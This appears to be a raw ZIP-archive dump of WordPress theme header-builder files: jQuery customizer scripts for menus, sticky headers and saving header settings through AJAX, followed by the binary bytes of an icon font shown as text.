            createCssRule(elector, 'border-right-width:' + values[9] + 'px;');
        }
        if (values[10] !== "-" && values[10]) {
            createCssRule(elector, 'border-bottom-width:' + values[10] + 'px;');
        }
        if (values[11] !== "-" && values[11]) {
            createCssRule(elector, 'border-left-width:' + values[11] + 'px;');
        }

        if (values[12] !== "-" && values[12]) {
            createCssRule(elector, 'border-top-left-radius:' + values[12] + 'px;');
        }
        if (values[13] !== "-" && values[13]) {
            createCssRule(elector, 'border-top-right-radius:' + values[13] + 'px;');
        }
        if (values[14] !== "-" && values[14]) {
            createCssRule(elector, 'border-bottom-right-radius:' + values[14] + 'px;');
        }
        if (values[15] !== "-" && values[15]) {
            createCssRule(elector, 'border-bottom-left-radius:' + values[15] + 'px;');
        }
    }

    function createCssRule(selector, rule, doc) {
        var style = document.createElement('style');
        document.head.appendChild(style);
        style.sheet.insertRule(selector + ' {' + rule + '}');
    }

})(jQuery, wp.customize);

/**
 * Custom JavaScript functions for the customizer preview.
 *
 * @version 1.0.0
 *
 * @package Photographus
 */
(function ($) {
    var PENCI = PENCI || {};
    PENCI.sticky_header = function () {
        var headersticky = $('.penci_header.penci_builder_sticky_header_desktop'),
            headernormal = $('.penci_header.penci-header-builder.main-builder-header').outerHeight(),
            headermobile = $('.penci_navbar_mobile'),
            lastScrollTop = 0;

        $(window).scroll(function () {
            var st = $(this).scrollTop();

            if (st > headernormal) {
                $(headersticky).addClass('sticky-apply');
            } else {
                $(headersticky).removeClass('sticky-apply');
            }

            if (st > headermobile.outerHeight()) {
                $(headermobile).addClass('mobile-sticky');
            } else {
                $(headermobile).removeClass('mobile-sticky');
            }

            if (st > lastScrollTop) {
                $(headersticky).addClass('scrolldown').removeClass('scrollup');
                $(headermobile).addClass('scrolldown').removeClass('scrollup');
            } else {
                $(headersticky).addClass('scrollup').removeClass('scrolldown');
                $(headermobile).addClass('scrollup').removeClass('scrolldown');
            }
            lastScrollTop = st;
        });
    }

    PENCI.main_menu = function () {
        $('.navigation ul.menu > li.penci-mega-menu').on('mouseenter', function () {
            var $this = $(this),
                $row_active = $this.find('.row-active'),
                $rowsLazy = $row_active.find('.penci-lazy');
            $row_active.fadeIn('200').css('display', 'inline-block');
        });

        $('.navigation .penci-mega-child-categories a').on('mouseenter', function () {
            if ( $( this ).hasClass( 'mega-normal-child' ) ) {
                return
            }
            if (!$(this).hasClass('cat-active')) {
                var $this = $(this),
                    $row_active = $this.data('id'),
                    $parentA = $this.parent().children('a'),
                    $parent = $this.closest('.penci-megamenu'),
                    $rows = $this.closest('.penci-megamenu').find('.penci-mega-latest-posts').children('.penci-mega-row'),
                    $rowsLazy = $rows.find('.penci-lazy');
                $parentA.removeClass('cat-active');
                $this.addClass('cat-active');
                $rows.hide();
                $rows.removeClass('row-active');
                $parent.find('.' + $row_active).fadeIn('300').css('display', 'inline-block').addClass('row-active');
            }
        });
    }

    PENCI.mobile_menu = function () {
        // Add indicator
        $('.penci-menu-hbg.penci-builder-mobile-sidebar-nav .menu li.menu-item-has-children > a').append('<u class="indicator"><i class="fa fa-angle-down"></i></u>');

        // Toggle menu when click show/hide menu
        $('.navigation .button-menu-mobile').on('click', function () {
            $('body').addClass('open-mobile-builder-sidebar-nav');
        });

        $('.pc-builder-element nav.penci-vernav-cparent li.menu-item-has-children > a').on('click', function (e) {
            var $this = $(this);
            e.preventDefault();
            $this.children().children().toggleClass('fa-angle-up');
            $this.next().slideToggle('fast');
        });

        // Close sidebar nav
        $('#close-sidebar-nav').on('click', function () {
            $('body').removeClass('open-sidebar-nav');
        });

        $('.close-mobile-menu-builder').on('click', function () {
            $('body').removeClass('open-mobile-builder-sidebar-nav');
        });
    }

    PENCI.general = function () {
        $('.pcheader-icon a.search-click').on('click', function (e) {
            var $this = $(this),
                $closet = $this.closest('.wrapper-boxed'),
                $pbcloset = $this.closest('.penci_nav_col');
            if ($closet.hasClass('header-search-style-showup')) {
                $this.next().toggleClass('active');
            } else {
                $this.next().fadeToggle();
            }
            var opentimeout = setTimeout(function () {
                $closet.find('.search-input').focus();
                if ($pbcloset.length) {
                    $pbcloset.find('.search-input').focus();
                }
            }, 200, function () {
                clearTimeout(opentimeout);
            });
            e.stopPropagation();
            return false;
        });

        $('.pcheader-icon .close-search').off().on('click', function (e) {
            $(this).closest('.show-search').fadeToggle();
            return false;
        });
    }

    document.addEventListener('DOMContentLoaded', function () {
        var hasSelectiveRefresh = (
            'undefined' !== typeof wp &&
            wp.customize &&
            wp.customize.selectiveRefresh &&
            wp.customize.widgetsPreview &&
            wp.customize.widgetsPreview.WidgetPartial
        );
        if (hasSelectiveRefresh) {
            wp.customize.selectiveRefresh.bind('partial-content-rendered', function (placement) {
                PENCI.sticky_header();
                PENCI.mobile_menu();
                PENCI.main_menu();
                PENCI.general();
                $( 'body' ).trigger( 'el_featured_slider');
            });
            wp.customize.selectiveRefresh.bind('render-partials-response', function (placement) {
                PENCI.sticky_header();
                PENCI.mobile_menu();
                PENCI.main_menu();
                PENCI.general();
                $( 'body' ).trigger( 'el_featured_slider');
            });
            wp.customize.selectiveRefresh.bind('partial-content-moved', function (placement) {
                PENCI.sticky_header();
                PENCI.mobile_menu();
                PENCI.main_menu();
                PENCI.general();
                $( 'body' ).trigger( 'el_featured_slider');
            });
        }
    });
})(jQuery);
PK     N\c݌    )  inc/builder/assets/js/control-settings.jsnu [        function PenciSetSettingValue(control, value) {
    "use strict";

    var api = wp.customize,
        $ = jQuery;

    /**
     * Get the control of the sub-setting.
     * This will be used to get properties we need from that control,
     * and determine if we need to do any further work based on those.
     */
    var subControl = api.control(control);

    if (typeof subControl === 'undefined')
        throw "Control : " + control + " not found";

    var setting = subControl.setting,
        container = $(subControl.container),
        $select,
        selectize,
        controlType,
        alphaColorControl,
        typographyColor;

    /**
     * Get the control-type of this sub-setting.
     * We want the value to live-update on the controls themselves,
     * so depending on the control's type we'll need to do different things.
     */
    controlType = subControl.params.type;

    /**
     * Below we're starting to check the control tyype and depending on what that is,
     * make the necessary adjustments to it.
     */

    console.log(controlType);

    if ('penci-toggle' === controlType) {

        if (1 === value || '1' === value || true === value) {

            // Update the value visually in the control
            container.find('input').prop('checked', true);

            // Update the value in the customizer object
            setting.set(true);

        } else {

            // Update the value visually in the control
            container.find('input').prop('checked', false);

            // Update the value in the customizer object
            setting.set(false);

        }

    } else if ('penci-select' === controlType || 'penci-preset' === controlType) {

        // Update the value visually in the control
        $select = container.find('select').selectize();

        selectize = $select[0].selectize;

        selectize.setValue(value, true);

        // Update the value in the customizer object
        setting.set(value);

    } else if ('penci-slider' === controlType) {

        // Update the value visually in the control (slider)
        container.find('input').prop('value', value);

        // Update the value visually in the control (number)
        container.find('.kirki_range_value .value').html(value);

        // Update the value in the customizer object
        setting.set(value);

    } else if ('penci-generic' === controlType && undefined !== subControl.choices && undefined !== subControl.choices.element && 'textarea' === subControl.choices.element) {

        // Update the value visually in the control
        container.find('textarea').prop('value', value);

        // Update the value in the customizer object
        setting.set(value);

    } else if ('penci-color' === controlType) {

        alphaColorControl = container.find('.penci-color-control');

        alphaColorControl.val(value).trigger('change');

        setting.set(value);

    } else if ('penci-multicheck' === controlType) {

        // Update the value in the customizer object
        setting.set(value);

        /**
         * Update the value visually in the control.
         * This value is an array so we'll have to go through each one of the items
         * in order to properly apply the value and check each checkbox separately.
         *
         * First we uncheck ALL checkboxes in the control
         * Then we check the ones that we want.
         */
        container.find('input').each(function () {
            $(this).prop('checked', false);
        });

        _.each(value, function (subValue, i) {
            container.find('input[value="' + value[i] + '"]').prop('checked', true);
        });

    } else if ('penci-radio-buttonset' === controlType || 'penci-radio-image' === controlType || 'penci-radio' === controlType || 'penci-dashicons' === controlType || 'penci-color-palette' === controlType || 'penci-palette' === controlType) {

        // Update the value visually in the control
        container.find('input[value="' + value + '"]').prop('checked', true);

        // Update the value in the customizer object
        setting.set(value);

    } else if ('penci-typography' === controlType) {

        if (undefined !== value['font-family']) {

            $select = $(container.find('.font-family select')).selectize();

            if ('undefined' !== typeof select) {
                selectize = $select[0].selectize;

                // Update the value visually in the control
                selectize.setValue(value['font-family'], true);
            }

        }

        if (undefined !== value.variant) {

            $select = container.find('.variant select').selectize();

            if ('undefined' !== typeof select) {
                selectize = $select[0].selectize;

                // Update the value visually in the control
                selectize.setValue(value.variant, true);
            }

        }

        if (undefined !== value.subsets) {

            $select = container.find('.subset select').selectize();

            if ('undefined' !== typeof select) {
                selectize = $select[0].selectize;

                // Update the value visually in the control
                selectize.setValue(value.subset, true);
            }

        }

        if (undefined !== value['font-size']) {

            // Update the value visually in the control
            container.find('.font-size input').prop('value', value['font-size']);

        }

        if (undefined !== value['line-height']) {

            // Update the value visually in the control
            container.find('.line-height input').prop('value', value['line-height']);

        }

        if (undefined !== value['letter-spacing']) {

            // Update the value visually in the control
            container.find('.letter-spacing input').prop('value', value['letter-spacing']);

        }

        if (undefined !== value.color) {

            // Update the value visually in the control
            typographyColor = container.find('.penci-color-control');

            typographyColor
                .attr('data-default-color', value)
                // .data( 'default-color', value )
                .wpColorPicker('color', value);
        }

        // Update the value in the customizer object
        setting.set(value);

    } else if ('repeater' === controlType) {
        // Do nothing
    }

    /**
     * Fallback for all other controls.
     */
    else {
        // Update the value visually in the control
        container.find('input').prop('value', value);

        // Update the value in the customizer object
        setting.set(value);
    }
}
PK     N\s    &  inc/builder/assets/js/control-saved.jsnu [        !function (e, $) {
    "use strict";
    var api = wp.customize;

    function getURLparam(sParam) {
        var sPageURL = window.location.search.substring(1),
            sURLVariables = sPageURL.split('&'),
            sParameterName,
            i;

        for (i = 0; i < sURLVariables.length; i++) {
            sParameterName = sURLVariables[i].split('=');

            if (sParameterName[0] === sParam) {
                return typeof sParameterName[1] === undefined ? true : decodeURIComponent(sParameterName[1]);
            }
        }
        return false;
    }

    var changeID = getURLparam('layout_id');

    api.bind('ready', function () {

        if (changeID.length > 0) {
            $('#customize-save-button-wrapper').val(changeID).change();
        }

        $(['control', 'section', 'panel']).each(function (i, type) {
            $('a[rel="tc-' + type + '"]').click(function (evn) {
                evn.preventDefault();
                var id = $(this).attr('href').replace('#', '');
                if (api[type].has(id)) {
                    api[type].instance(id).focus();
                }
            });
        });
    });

    if (changeID.length > 0) {
        $('#customize-save-button-wrapper').hide();
        $('#customize-header-actions').append('<input type="submit" name="penci_save_header" id="penci_save_header" class="button button-primary penci_save_header" value="Save Header" disabled="">');
    }

    api.bind('change', function () {
        $('#customize-header-actions').find('.penci_save_header').prop('disabled', false);
    });

    $(document).on('click', '#customize-header-actions .penci_save_header', function (eventt) {
        eventt.preventDefault();
        $(window).off('beforeunload');
        var setting_value = api._value,
            dataex = {},
            button = $(this),
            dataPush = {
                'action': 'save_header_builder',
                'nonce': penci_hdbd.nonce,
            };

        if (changeID.length > 0) {
            dataPush['setting_id'] = changeID;
        }

        $.each(setting_value, function (i, ev) {
            var settingtext = ev.id.toString(),
                parseID = settingtext.match(/\)\((.*)\)/);
            if (parseID !== null) {
                dataex[parseID[1]] = ev._value;
            } else if (settingtext.indexOf("penci_header") >= 0 || settingtext.indexOf("penci_hb") >= 0) {
                dataex[ev.id] = ev._value;
            }
        });

        dataPush['setting_value'] = dataex;

        $.ajax({
            url: ajaxurl,
            data: dataPush,
            method: 'post',
            beforeSend: function () {
                button.addClass('loading');
            },
            success: function (response) {
                button.addClass('success');
            },
            complete: function () {
                button.removeClass('loading');
                button.prop('disabled', true);
            }
        });
    });

}(wp, jQuery);
PK     N\`@ @ #  inc/builder/assets/fonts/eicons.ttfnu [               pGSUB %z      TOS/2>'K  P   `cmap*    cvt          fpgmb.z    gasp        glyf
m  T headxU 8   6hhea
 Q p   $hmtx9n ۔  `loca.   dmaxp^ X    nameC x  post6c	 0  Nprep~;        
 0 > DFLT latn                      liga                        z   z   1                         PfEd  Rj Z                          ,          z     ,  
   N                         	 
                        ! " # $ % & ' ( ) * + , - . / 0 1 2 3 4 5 6 7 8 9 : ; < = > ? @ A B C D E F G H I J K L M N O P Q R S T U V W X Y Z [ \ ] ^ _ ` a b c d e f g h i j k l m n o p q r s t u v w x y z { | } ~                                                                                                                                  	
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~                                                                                                                                                                                                                                                                         $                                                                       	  	  	   
  
  
                                                                                                                                                                !  !  !   "  "  "   #  #  #   $  $  $   %  %  %   &  &  &   '  '  '   (  (  (   )  )  )   *  *  *   +  +  +   ,  ,  ,   -  -  -   .  .  .   /  /  /   0  0  0   1  1  1   2  2  2   3  3  3   4  4  4   5  5  5   6  6  6   7  7  7   8  8  8   9  9  9   :  :  :   ;  ;  ;   <  <  <   =  =  =   >  >  >   ?  ?  ?   @  @  @   A  A  A   B  B  B   C  C  C   D  D  D   E  E  E   F  F  F   G  G  G   H  H  H   I  I  I   J  J  J   K  K  K   L  L  L   M  M  M   N  N  N   O  O  O   P  P  P   Q  Q  Q   R  R  R   S  S  S   T  T  T   U  U  U   V  V  V   W  W  W   X  X  X   Y  Y  Y   Z  Z  Z   [  [  [   \  \  \   ]  ]  ]   ^  ^  ^   _  _  _   `  `  `   a  a  a   b  b  b   c  c  c   d  d  d   e  e  e   f  f  f   g  g  g   h  h  h   i  i  i   j  j  j   k  k  k   l  l  l   m  m  m   n  n  n   o  o  o   p  p  p   q  q  q   r  r  r   s  s  s   t  t  t   u  u  u   v  v  v   w  w  w   x  x  x   y  y  y   z  z  z   {  {  {   |  |  |   }  }  }   ~  ~  ~                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  	  	  	  
  
  
                                                                                                                                         !  !  !  "  "  "  #  #  #  $  $  $  %  %  %  &  &  &  '  '  '  (  (  (  )  )  )  *  *  *  +  +  +  ,  ,  ,  -  -  -  .  .  .  /  /  /  0  0  0  1  1  1  2  2  2  3  3  3  4  4  4  5  5  5  6  6  6  7  7  7  8  8  8  9  9  9  :  :  :  ;  ;  ;  <  <  <  =  =  =  >  >  >  ?  ?  ?  @  @  @  A  A  A  B  B  B  C  C  C  D  D  D  E  E  E  F  F  F  G  G  G  H  H  H  I  I  I  J  J  J  K  K  K  L  L  L  M  M  M  N  N  N  O  O  O  P  P  P  Q  Q  Q  R  R  R  S  S  S  T  T  T  U  U  U  V  V  V  W  W  W  X  X  X  Y  Y  Y  Z  Z  Z  [  [  [  \  \  \  ]  ]  ]  ^  ^  ^  _  _  _  `  `  `  a  a  a  b  b  b  c  c  c  d  d  d  e  e  e  f  f  f  g  g  g  h  h  h  i  i  i  j  j  j  k  k  k  l  l  l  m  m  m  n  n  n  o  o  o  p  p  p  q  q  q  r  r  r  s  s  s  t  t  t  u  u  u  v  v  v  w  w  w  x  x  x  y  y  y  z  z  z  {  {  {  |  |  |  }  }  }  ~  ~  ~                                                                                                                                                       X % H i @G>	dT Lc4	SKKPX@6 	r  r  i 	  	 i  j Y a Q@8 		   i 	  	 i  j Y a QY@fe
+%4/&"#"&/.'&/2?6'4/&"27'&'&/&'&54636"/&47'"/&4?6262@		

	?
-	?
-		?
			
-H?K@-J?G@@	



	?	-
	@-	@
	
%,@I?G-?K@      ^   ' @ X g s  }@zoiLK<;	 L  

~      ~  i 
 	
	g  g Y a Qlked][UTEDBA5421-,%#+%"&4?62"&=462'+"&46;2"/&'72?64/7''&"&/&4?62+"&4?6;2'"&=462"&4?62NM1	D``~-HeHR
-S	fHS

-Sf-Heaa|NNNNa`>	+$,eS,
SHeS,SHfI,e"``2NM        C  @ @) :LK
PX@2     ~ p   g W ` P@3     ~ ~   g W ` PY@&56%5%+26=4&+"2?#!"&546;2+"3!276=46;2=A%A.-BA.$$@=	
A%#{,CB-@.A$${      /  @ L  v+764&"'&"2?2764'D"#!!I##"#     R 	 & M Y e q5@ "'EL	JK
PX@m    r  r 		  g  jW h  

i  i g Y a Q@n      r 		  g  jW h  

i  i g Y a QY@0hf\ZPNnkfqhqb_Ze\eVSNYPYIGBA=;:85420&+#575#57#5767654&"346235#>54&#"3462+32"&5#32654&!"3!264&!"3!264&!264&#!"S9	
$		'Q	
			
	

b%%%@T
	


+	
&""""""        |   $ - 6 ? u@r 
 
   
 ~ g 
i
 
i	Y 	h	a 		Q87/.&%<;7?8?32.6/6*)%-&-!$$32+#!"&463!2!"3!264&!264&#!"'"264&"264&'"264&|%*%%%%4$$%%4$$%%4$$^"""""i%4$$4%%4$$4%$4%%4$       Y  - q Q@N*,_8/ L r  i   i   Y   _ O...q.kPIGD.))!+%3254'.'&/"53276767654'&'&'&#"7676?6575'&/&'#&"'#&#'2?6;2#"&#"y	! 			 O&>,'
	3A &3u'


a3	!@
A0#      Y IK	PX@ ;7 LK
PX@ ;7 LKPX@ ;7 L@ ;7 LYYYK	PX@'       Y a   QK
PX@&        W  a   QKPX@"      Y a   Q@'       Y a   QYYY@FB=<!/+%76?67676=&'&#"'7332?2#"/&#&#"M
90
H
'

&e
Q	!b/>	        X X hK	PX@ C,+ aY	
LK
PX@C,+ aY	
LK@ C,+ aY	
LYYK	PX@&  i  
i 
		
W 

	_ 	
	OK
PX@0  Y  Y  i  
i 
		
W 

	_ 	
	O@&  i  
i 
		
W 

	_ 	
	OYY@ ec][NL87531/ XX+"/63272727"327676767654/&/&'&#'53?##"&'&'&=4'&#!"&=463!2

6N)#
!C'0H/6K :'\Z(
	2G	y;'%(6j>4     l % *@'    W aQCC&5+".4>;29+#9"&5##9"&5.L+,K.**H#AZB$aa       k  AK
PX@A54
`X
 LKPX@A54
`X
 L@A54
`X
 LYYK
PX@4 

	
i  g  Y   W  _  OKPX@0 

	
i  g  Y _  O@4 

	
i  g  Y   W  _  OYY@! {xsl]\RPKD><'! +%"&"#"&46?6765'&+"32#"&"#"&4632?6765'4/.'&#'"&5476322632#";76=4'&/&'&546322632+"7'737#52>=(/&	


(0$	

	(0$		&/&			
 r%	'x.

'/

	

	
,ii,	
	
-&T'!         @6YUL 	
i i  g  W  Y _  O ՅurleXWPNJD@>.,(" +%"&"#"&46?676=4'&+"32#"&"#"&4632?6765'4/&/&#'"&46322632#";?4'&/&'&546322632+""#".'&54>7622>7653#4767676?67676764'.'&w&1&	
(1$		
(0$	

&0$		

		
.
'%e 					'-	')
-ss-		
,&B


##'	Q
           @d:L  
	i  i  g  i  Y  g a Q ŷ~}trnihfa`[ZTRNHEB+%  +%"&"#"&47672?676=4'&+"32#"&"#"&47672?6765''4'4/&#&"&46322632#"374'&#"'&54622?2#"374>2332767>4.+5;27654&'&'&#""'&/&'&54>2#"&'&'&w'0&			
(1$	
(0%

	0*	
-%
	
	)3$"
&)'-	'*

-ss-	-'=	$
#	
'        qK
PX@6YU LKPX@6YU L@6YU LYYK
PX@@ 	
i  gg Y   W  _  OKPX@= 	
i  gg  Y _  O@@ 	
i  gg Y   W  _  OYY@/ urleXWPNJD@>.,(" +%"&"#"&46?676=4'&+"32#"&"#"&4632?6765'4/&/&#'"&46322632#";?4'&/&'&546322632+"77#527>76=#5733'35w&1&	
(1$		
(0$	

&0$		

%
1T	'-	')
-ss-		
,&Z'!	../n        @6YUʄL 	
i  g  g  i  Y  g a Q úurleXWPNJD@>.,(" +%"&"#"&46?676=4'&+"32#"&"#"&4632?6765'4/&/&#'"&46322632#";?4'&/&'&546322632+"7332767676=4'&'.'&#"/3273>536?6372"&'&'&54676?62w&1&	
(1$		
(0$	

&0$		

n
	
	 ,(+3$		'-	')
-ss-		
,&.		QY&+
         @6YULK	PX@M  p	
i  i  g  Y  g b R@N  ~	
i  i  g  Y  g b RY@/ urleXWPNJD@>.,(" +%"&"#"&46?676=4'&+"32#"&"#"&4632?6765'4/&/&#'"&46322632#";?4'&/&'&546322632+"7"32767676=4'&/&/&'&7"'.5'&54?67&'&">767632#"&'&'&54?>?67>2w&1&	
(1$		
(0$	

&0$		





a
	'
	+ .
+5	'-	')
-ss-		
,&		

				
l&	)2"(	
         # K 2@/3 Li  Y a  Q568)556'++"&=46;26=4&+"&=46;2+"'.=46;26=4'&+"&=46;2.D!"t"  -	D!"tH:
'.
!t!":
'- 
	"t"       1 4@1$L       v 10)(
	 +%".?'&4>6.26'>/7>.2








	







~g





     jR     0@-   g  g W _O+3#%!!!!!!XXXRXX   jR     $ ( O@L
  	   g W _ O ('&%$#"!  +"27>764'.'&#3#535#535#53f]Y&''&Y]]Y&''&Y]SSMR'&Y]]Y&''&Y]]Y&'<`SSTSS hT 5 g   t@q
fgL L

  i  	i 	
	
i  i   Y  a  Qih uthicbVTDB97,*	 55+/67>764'&'&'1&&'&'.7&>6%767>'6.&47676766'&'7"'.'&74>762"7>764'&'.bZ &*/b.1J$%216612%#"HLMccMLHEMR[@AFF[[FFB**:8=>89**U85r6'%$6!7#%P%$8$%' ,==,
:&K.3k2.%''$/16SFddKKddEHLHFA@[\DD\[@V>96)..*59};7V7"'+(H7&$R&$7e-:@:*@    g  )@&     W  _ O%!&!#+#";27676=324+54.#"??!;??	}"	}        # A@>   g g W _O  ## 	+!264&#!"!264&#!"!264&#!"h%%%%%%%%%%%%%2&&2%%2&&2%%2&&2%    	    A         # T@Q
  g	gW_O#"! +35#35#35#535#35#73535#35#35#`fT``     jR   + 7 C O v@sL g  g   g  
g
 
g		W	_ 		OED98-,!  KIDOEO?=8C9C31,7-7'% +!+
 +!"3!2654&#!"&5463!2%!264&#!"7!264&#!"!"3!264&'!"3!264&%%k$$		k X$%%w$K		w}l}      =  - : F O X v@sAL   i 

i 		i i  iYa QPPHG/. PXPXUTLKGOHODC>=54.:/:$#-- +"27>764'.'&"'&'&476762"26=4&"&=462'"264&"&462aYV$&&$VYYV$&&$VYavfc:<<:cffc:<<:cfw%$4%%$$4%%=&$VYYV$&&$VYYV$&k<:cffc:<<:cffc:<$%%$		%4$%3%S       B \ h  @x
F
E5RLoL 
 

      	i  gYaQDCwuqpfe`_USONIHC\D\=<8721*)$#BBK+.6?213251327>/7%22654."2>54&""&=46'"54&"26=32>=4."&=462&'&'&'53264&+5676?6."'&'&'.#";676767632327>}*}*00$0800:/$4%%"!00"$4%%4$		(	 		!ppS$		00S00%%S$*T1S0%%S$$				
			
       C    # ' * < M _ Y@V)$ \9*'&%! 
#("LJ        Y a QXWPOJIBA54-,+'&'#&+#32727376477''%&"264/764764.264'%&"264/764
_>>!!}!Ȟ}}nn3`SSEEmG_B>B!B}!<}}nnSSEE    X B T a p b@_po]ZJI^YhgTOF@0-	eEL     iYa QVU\[UaVa53/.*(#!+&/76&'&'&'&"3267676326/623227>/7676/732?6?"'6 &'&&'76?
q3KF``FK3	q;.7-?!
ll!>-7.;4H~1T	&(R_B6556B_=~H
(&	Tz
%i	

	i%

b>?
b
+pQ	
@
%%
p+)

	          7 T o [@Xh0`(L  g
g	Y	_O:8 ljdb[YMJA?8T:T42,*#!	 +!";;2676=4&+7>=4&+"&5463!2%!";;2676=4&+7>=4&+"&5463!2%%hbJx%$#a=5%,	}$%%hbJx%$#a=5%,	}$$%E11	VFnv$mi:G
F)Z$>$%E11	VFnv$mi:G
F)Z$       . ^ X@U-L,%$I  
 gg	  Y	 _   O1/! WTPNIFA>;8/^1^*( .!.+.6?32?676/32>&/"'&'#"!";264&+"&=463!2+";2>=4.?G	]JXS8I	000		$%$$00?6		z!	/00%$$%00     m   , 9 E Q ] t@q   g
i
 
g	i W _ OTRHF<:.-!  ZWR]T]NKFQHQB?:E<E43-9.9'& ,!,
 +!"3!2654&#!"&5463!2"2>4.".4>2)"3!264&'!"3!264&'!"3!264&%%k$$		k'C((CNC('C(00800		M				M				M	m%`%%%!				>(CNC((CND'080080}}    
    m  = R U j m ~    @Tl
L	1K  ~ 		 ~  i%i "i&i'	Y#!  g 
 
i  i$ g'aQpnkkSS  {yvun~p~kmkmedbaSUSUONKJ==8743/.)($#  (+7""&=4622654&"2654&%22654&"2654&""&=46'.6?327>'7%.6?3327>/7#"26=3264&#532"#54&"26=326=4&%26=3264&+";h$4%%4$$4%%4$?>
Af>?A
b)	%%		SS*}		)S	%%S$$	h	%%S%%	S	?--8,,#			>%4$S*S????          " 2 6 F J Z ^ k@hLXD0 Kg
W  i
_	OMK97%#^]\[URKZMZJIHGA>7F9F6543-*#2%2+&"264/764'&"2?64%#";26=4&#53%#";26=4&#53%#";26=4&#53b**e**z			}}			}}			}}))#))J}		}}T)}		}}T)}		}}T    	  jT   + 7 C [ y  d@/E
jdTl\{		LyKK	PX@r r  r  
 
g g  h  g g   h   g 		g W _ O@t     
 
g g  h  g g   h   g 		g W _ OY@?:8.,"  |utonhfa^QNIF@=8C:C41,7.7(% +"+
 +7#";26=4&+"&=46;2!264&#!"!"3!264&!"3!264&&+";26=4'76.+"&=46;2'&";6?&+";26=4'576.+"&=46;2'&";2?%%%%				G			P		G				G	K%%%(2			M-?		B-%%%(2			M-?	B%$$%		38,$$$9	n-?_,$%%9
		n->	^           # / ; G S _ k w   @  gg g!g"	
	g#

W#

_
Ozxnlb`VTJH><20&$ }xztqlwnwhe`kbk\YT_V_PMHSJSCA<G>G750;2;+)$/&/## $+!"3!264&!"3!264&!"3!264&!"3!264&!"3!264&!"3!264&!264&#!"!"3!264&!"3!264&!"3!264&!"3!264&!"3!264&_		_		_		_		_				$		`	`				`				`				`					#	}}}}}HT}}}}      jR 3 8 M ^ d m@j		!
	L   i  	i	 
	
i gYa Q__NN:9_d_da`N^N^WTDC9M:M8654+*#3*+76.&'53264&+";'.2767654'&%3'"'&'&476762"3!2654'&'&22Re				fQ32J)+<:cefc:<+**k]Y5665Y]]Y5665Y]kM	0/QRKMOpD
D8XX7C
D=VYdwfc:<<:cfwcZVT64Z\\Y4664Z\]Y56		`RQ/0#OM     2 X  @ 0`7)*	L    		 
i  i		Y		a	Q43{zvurplkhgcb]\QOKI?>:93X4X-,4+/.#'#2?265264&6?2654&7"265462;264&+76=4.4."265462#"32"&54&"2>54&'>}|YYS-0%4${y0o/:/$4%%%%4$080H}|Y}YH}
DM/%%%0h//%%4$%4$$		00++           . = I U a X@UL
   g	g W _ OXVKJ?> ][VaXaQOJUKUEC>I?I
 +!"3!2654&#!"&5463!2&2676&%&2676&#";264&!#";264&!#";264&%%k$$		k}}F}}TTEo		%$%%		@MM       M ;@8C<5 L   Y  a
	 QHF@?++&"'&'&""'&'&""'&'&""'&'.3276727672767327676&"5#"6"#4#"5"0,!$%B%$B%%!,0				
**   >    , / ; g@d L   h 
  g 		gW_ O20 850;2;/.&%,, +!264&#!"%3276/&"7##"2?>'&'3%!"3!264&*		l	V}}S}}Swl			

oo       / G V@S81L 	 
   gW_O GFA@;:54(%!	 //+!"3!264&#!"&=463!2#!"3!2>=4.4&"'&"2?64&"k00$%$%%$00YY}}00%%%$00Yn		Y}}        - u x |    @zyw_T,
	fL]K+$#I 		 		~  g
g  Y _   Ovv0. ~}|{vxvxnk[ZVUQPGE@=:7.u0u)'- -+.6?32?>/32>&/"'&'#"!";264&+"&=463!010126=7327"3!2>=4.5573#75#?F?G	]JXS8I	0\00}		}$%BG006qB}BB4?6z!	/00%$h}>		6G	00*55BpBB4           Y f @aV	P	LK	PX@J r   g 
i 
 	
i 	 	i i  i W ` P@K    g 
i 
 	
i 	 	i i  i W ` PY@-[Z!  _^Zf[fRQNLGF@?9831.-(& Y!Y
 +!"3!2654&#!"&5463!2"326764&"#".4>2"&'74."3267267654."&462%%k$$		k{>j>>j>,S C%3V33VeU3!0801-A0>i>%%3#$%$%%		>i|i>!2VfV32U20080+ >i>$4%#!     0 U a m y @!L 

    g i g		i g 
gW_OpndbXV31 vsnypyjgbmdm^[VaXaQOLJFEBA><971U3U.+&#	 +!"3!2?!2>54.#!"'&#!"&5463!2#"#";26=3264&+546;264&!"3!264&7!"3!264&'!"3!264&00ww00"$	nn	%%${*0		??%*		#	t`				`			0_0ww00%oo%$$0		$}}      iR  # S W | @ug2&v^GL5
K 

   g  i g  

g  	g 	 	g W _ O%$ {xki`_][WVUTLJDA<9/,$S%S!	 +!"3!2>54.#!"&5463!2#764/.+"#54&+";26=3!26?6.#3#!'5326?6=46;2;20000"$%%$Ŝ%K				5,(;(=$CQ	
	%R0000%%$$'^(%K		25'+ `M "KL .	)   jR   ' , / ; G @.*L   g g g 	g	 	g

W
_ 

O><20-- DA<G>G850;2;-/-/,+)("'' +!264&#!"!"3!264&!"3!2654&!)7#";264&#"&46;2		B	B				B			Np_5f"11"#01"(S}		*q66S1E11E1}""           # ' 3 ? \@Y! L  g
W
_	O64*( <94?6?0-(3*3'&%$##	 +#";26=4&#53%#";26=4&#53%#";264&#"&46;2		b	N"11"#00#}		}}T)}		}}T)0E11E0}""          # ' 7 ; K O _ c s w @5! iUAL  g
	ggW_OedQP><)( wvutnkdsescba`ZWP_Q_ONMLEC<K>K;:982/(7)7'&%$##	 +#";26=4&#53%#";26=4&#53%#";26=4&#53#";26=4&#53%#";26=4&#53%#";26=4&#53$		b	b	z		b	b			*		*				)		)		     m   # ' 7 ; a@^-L  g  g g
W
_	O*( ;:981/(7*7'&%$##
 +#";26=4&#53#";26=4&#53!"3!2654&!!						e		qm				Ц		ЧM		       # ' 7 ; K O _ c s w       @5}L&g
	%$  g)'g(g, +*#g"W"_!OzxfdQP=<*( xzwvutnkdsfscba`ZWP_Q_ONMLEC<K=K;:982/(7*7'&%$##
 -+326=4&+"73#!26=4&#!"7!!%#";26=4&#53#";26=4&#53!26=4&#!"7!!%#";26=4&#53#";26=4&#53%!"3!26=4&!5!%!"3!26=4&#53			w	N			zw	M					}}		M	#		#			Ч)		Ч		ѧ				Ц				Ц				ЦЧ)Ч)Ч        # ' 7 ; K O _ c s w @I	
iL  g  
g
	
